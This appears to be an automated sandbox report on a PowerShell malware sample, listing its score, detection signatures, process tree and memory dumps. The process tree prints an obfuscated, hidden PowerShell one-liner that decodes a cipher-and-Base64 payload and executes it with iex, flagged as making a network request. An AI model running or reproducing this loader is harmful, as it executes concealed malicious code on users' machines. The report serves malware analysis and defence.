Analysis
- max time kernel
298s - max time network
186s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20260513-en - resource tags
- submitted
28/06/2026, 16:48
General
- Target 007428557dcf44c6 (1).ps1
- Size 11KB
- Sample260628-vbexdaav9n
- SHA256 b5ab99c11459d7ee011c764b62f4b61021273c529c0a191fa6ed1613543bebdb
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\007428557dcf44c6 (1).ps1"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W H -c "$a=@('C67n69R6GJ6u69d6IJ6g6+J6Up7w68V6Dp6g6=x6U67o6=+6S67+6=+6W67a68V6Hp6d6=x6GJ7f69+6','RZ6268V6Op7r6=d6W67e6++6U67l6+B6XJ6g68l6Cp7t6=N6Vp6g69l68Z7M6AJ6RJ7r6AJ6EJ7M6=p6','SJ7e6A66B66m6/F6SJ7c6=16UZ7d6AF6B66q69V6Hp6D68J6WJ6q6=+6S67a69V6IJ6m6=h6Up7i6=x6','D67668Z6G66q68p6GJ6s68p6GJ6s68p6G66y68p6FJ6r69F6E66q69+6F66l69+6FJ6p68p6GJ6u68p6','Fp6v68p6GJ6q68p6G66p68p6Fp6y68p6G66p68p6Fp6t68p6Fp6r68p6GJ6s68p6G66p68p6G66v68p6','G66w68p6GJ6p68p6Fp6t68p6G66v68p6Fp6w68p6Fp6v68p6GJ6p68p6FJ6q69+6E66s69N6E66s69R6','E66s69R6E66u69+6E66q69+6F66l69+6FJ6v68p6FJ6q69F6E66q69B6F66l69+6FJ6x68p6FJ6q69F6','E66s69d6E66q69+6G66l69+6FJ6s68p6FJ6q69F6E66q69+6GZ6l69+6FJ6s68p6FJ6q69F6E66q69B6','FJ6l69F6Gp6l69F6FZ6l69+6FJ6r68p6FJ6q69d6E66s69V6E66s69R6E66q69+6GJ6l69F6FZ6l69+6','FJ6y68p6FJ6q69N6E66s69V6E66s69d6E66s69R6E66s69R6E66q69B6F66l69+6FJ6r68p6Fp6v68p6','Fp6r68p6Fp6t68p6FJ6q69R6E66q69+6Gp6l69F6G66l69+6FZ6q68p6Fp6y68p6FJ6r69+6E66s69R6','E66s69B6E66q69B6FJ6l69+6FJ6t68p6Fp6t68p6FJ6q69V6E66q69+6HJ6l69+6FJ6u68p6FJ6q69R6','E66q69+6FZ6l69+6FZ6q68p6FJ6q69R6E66s69V6E66q69+6H66l69F6HJ6l69+6FZ6q68p6Fp6v68p6','Fp6y68p6Fp6t68p6FJ6q69N6E66q69+6Fp6l69+6FJ6t68p6Fp6u68p6Fp6u68p6Fp6u68p6FJ6q69V6','DJ7168N6Xp7U6=F6T67a6AB6QJ6h68J6Qp6m6=B6X67o6AB6GZ6u68d6YJ6i69l6C67t6=J6IJ7U6+d6','Mp6n6/66RJ7t6=Z6QJ6z69h6Jp7o6=t6RZ7i6=x6SJ6h6/l6LJ7I68x6N67a6AJ6T67W69h6HZ7A6=N6','W67N6=N6UJ7p6/66RJ7t6=Z6D66i68p6Pp7C6+16EZ7J6=+6W67h6/t6HZ6z6+V6SJ7t6/B6RJ7n6=J6','Up7m6+R6TJ7l6=N6MZ7a6=t6SJ6h68d6DJ6D6/l6LJ7I68x6K67i6AB6SJ7c6AJ6Up7r6Ad6QJ6z69h6','Jp7r6=N6RJ7t6=N6K67i6AB6SJ7c6AJ6Up7r6Ad6D66d6AJ6S66i6Ap6Mp7u6AJ6EJ7H6AN6U67l66h6','C67t6=R6IJ7U6+d6Mp6n6/66RJ7t6=Z6QJ6z69h6Jp7o6=t6RZ7i6=x6SJ6h68J6W67d68p6Pp7C6+16','EZ7J6=+6W67h6/t6HZ6z6+V6SJ7t6/B6RJ7n6=J6Up7m6+R6TJ7l6=N6MZ7a6=t6SJ6h68d6Dp6g68x6','SJ7x6=N6Cp6i66h6C67w6=F6IJ7H6=N6Wp6m6+16RZ7j6=N6Rp7t6866D66g6+x6SJ7t68x6Op7e6=B6','Jp6g68l6Cp7l6=d6SJ7n6AJ6Cp6i66h6C67o6=l6IJ6p66h6SZ7o6AB6D66d6=d6IJ6p69l6C67i6866','EJ7l6AJ6B66s6866EJ7a6=x6S66Z68+6C67o6=l6Hp6d6=d6Dp6k68d6Xp6D6866B67t6AB6XJ7066h6','B66Z6866B67U6+d6Mp6n6+R6TJ7l6=N6QJ6z69h6C67n69N6SZ6q6=B6D66d6AJ6SZ6l68J6Wp7c68x6','C67n69R6GJ6u69d6D66d6AN6FJ7a6=J6RJ6w68d6DJ6D6866B66Z6866TJ7f68Z6Pp7C6+16EZ7=6=d6','U67e6/t6HZ6z6+N6X67i6AF6W67s68Z6C67t6=R6DJ6i6Al6C67o6=l6IJ6q6At6SJ7l6AF6SJ706/F6','W67a6AB6W66m6/F6U67e6=N6V66Z69B6YJ6D6866B6726=F6RJ7t6=F6T6706/F6W67a6AB6W66m6/F6','U67e6=N6V66Z69B6YJ6D6At68Z7i6=R6D66a6/l6LJ7I68x6KZ7i6=p6SJ7W69h6HZ7/6AZ6TJ7s6AJ6','Vp6h68J6W67f68d6DJ706=N6X67i6AJ6YJ6D6/F6W67a6AB6W66m6/66VZ7o6=F6SJ7s6AF6B66m6+R6','TJ7l6=N6N67a6AJ6T66Z68J6W67f66h6W67r6Ad6Xp7M6AJ6RJ7r6AJ6EJ7M6=p6SJ7e6A66B66u69l6','Pp7C6+16EZ7=6=d6U67e6/t6HZ6z6+J6SJ7l6=N6W67e68Z6C67t6=R6DJ726=F6RJ7t6=F6T6706At6','8Z6d6AN6F67d6=+6HJ6t69t6EJ7j6=16TJ7n68Z6J66h69d6Fp6l69R6GJ6l69R6GJ6l69R6HJ6l69+6','GJ6l69B6GZ6l69B6GZ6l69R6Gp6l69Z6F66l69V6FJ6l69d6FZ6l69Z6Fp6l69d6FZ6l69Z6GZ6l69Z6','G66l69R6GJ6l69d6FZ6l69d6F66l69d6FJ6l69V6F66l69Z6GZ6l69d6F66l69Z6FJ6l69Z6F66l69V6','F66l69B6Gp6l69Z6Gp6l69Z6F66l69Z6F66l69V6FJ6l69B6GZ6l69R6HJ6l69B6GZ6l6966E66u68p6','FJ6r68p6FZ6l69N6E66x69F6E66v68p6GJ6l69N6E66p68p6GJ6l69N6E66q69F6E66x69+6E66x69J6','E66t68p6Fp6l69Z6FJ6l69Z6F66l69V6E66x69J6E66s68p6Gp6l69Z6FJ6l69Z6Fp6l69Z6F66l69Z6','F66l69+6FZ6l69J6E66x6966E66x69J6E66x69R6E66p68p6FJ6l69Z6GZ6l69+6Fp6l69Z6Fp6l69+6','Fp6l69Z6F66l69Z6G66l69+6Fp6l69R6E66x69R6E66q68p6Fp6l69V6E66p68p6G66l69+6Fp6l6966','E66x69+6E66r68p6H66s68p6FJ6s68p6H66p68p6H66s68p6H66v68p6Gp6l69N6E66v68p6H66w68p6','H66w68p6H66w68p6FJ6i6Ap6CJ706/l6Rp7h6=+6VZ7W68Z6C67Y68t6RZ7x6=16VZ6u69F6DJ7268d6','Hp6d6=x6FJ7d6966F66268V6K67o6AV6Cp6k68V6UZ7l6=16RJ7d6/F6W67r6=d6UZ7g68V68Z7t6AB6','XJ706/l6WZ7o6=d6S67W68J6Wp7c68x6C67n69+6S66p6966D66d6AN6F67d6=+6HJ6t68d6YJ7c6=+6','W67c6=Z6Xp726655');$n='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';$r=58;$b=-join($a|%{-join($_.ToCharArray()|%{$n[($n.IndexOf($_)+65-$r)%65]})});[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($b))|iex"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_2wg4uqmq.2ww.ps1
memory/4352-10-0x00000236A00C0000-0x00000236A00D0000-memory.dmp
memory/4352-1-0x00000236A00C0000-0x00000236A00D0000-memory.dmp
memory/4352-13-0x00000236BB2B0000-0x00000236BB4CD000-memory.dmp
memory/4352-2-0x00000236A0170000-0x00000236A0192000-memory.dmp
memory/4352-0-0x00000236A00C0000-0x00000236A00D0000-memory.dmp
memory/4572-15-0x000001D843500000-0x000001D843510000-memory.dmp
memory/4572-16-0x000001D843500000-0x000001D843510000-memory.dmp
memory/4572-25-0x000001D843500000-0x000001D843510000-memory.dmp
memory/4572-27-0x000001D843500000-0x000001D843510000-memory.dmp
memory/4572-26-0x000001D843500000-0x000001D843510000-memory.dmp
memory/4572-29-0x000001D843500000-0x000001D843510000-memory.dmp
memory/4572-28-0x000001D85E380000-0x000001D85E59D000-memory.dmp
memory/4572-32-0x000001D85E380000-0x000001D85E59D000-memory.dmp